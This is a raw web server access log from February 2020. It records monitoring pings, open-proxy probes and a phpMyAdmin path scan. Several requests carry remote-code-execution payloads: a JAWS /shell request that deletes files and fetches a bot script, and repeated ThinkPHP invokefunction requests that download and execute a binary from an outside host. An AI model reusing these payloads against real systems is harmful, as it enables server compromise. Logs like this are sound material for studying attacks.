177.84.43.202 - - [09/Feb/2020:22:43:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:22:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.231.187.11 - - [09/Feb/2020:22:46:07 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
183.80.221.246 - - [09/Feb/2020:22:46:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.75.115 - - [09/Feb/2020:22:46:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.87.172 - - [09/Feb/2020:22:47:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.23.157 - - [09/Feb/2020:22:50:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.160 - - [09/Feb/2020:22:50:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.117.160.29 - - [09/Feb/2020:22:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:22:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [09/Feb/2020:22:54:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.204.183.98 - - [09/Feb/2020:22:58:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:22:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.88.113.20 - - [09/Feb/2020:23:01:56 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.211.180.61 - - [09/Feb/2020:23:01:56 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.58.226.54 - - [09/Feb/2020:23:01:59 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.160.234.49 - - [09/Feb/2020:23:02:00 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.74.166 - - [09/Feb/2020:23:02:01 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.128.104.153 - - [09/Feb/2020:23:02:02 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.147 - - [09/Feb/2020:23:02:04 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.220.221 - - [09/Feb/2020:23:02:05 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.200.155.206 - - [09/Feb/2020:23:02:05 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.193.171.193 - - [09/Feb/2020:23:02:07 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:03:33 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:33 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:33 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:34 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:34 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:34 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:34 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:35 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:35 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:35 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:35 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:35 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:36 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:36 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:36 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:36 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:36 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:37 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:37 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:37 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:37 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:37 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:37 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:38 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:38 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:38 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:38 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:38 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:39 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:39 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:39 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:39 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:39 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:40 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:40 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:40 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:40 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:40 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:40 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:41 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:41 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:41 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:41 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:41 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:42 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:42 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:42 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:42 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:43 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:43 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:43 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:43 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:43 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:44 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:44 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:44 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:44 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:44 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:44 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:45 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:45 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:45 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:45 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:46 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:46 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:46 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:46 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:46 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:47 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:47 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:47 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:47 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
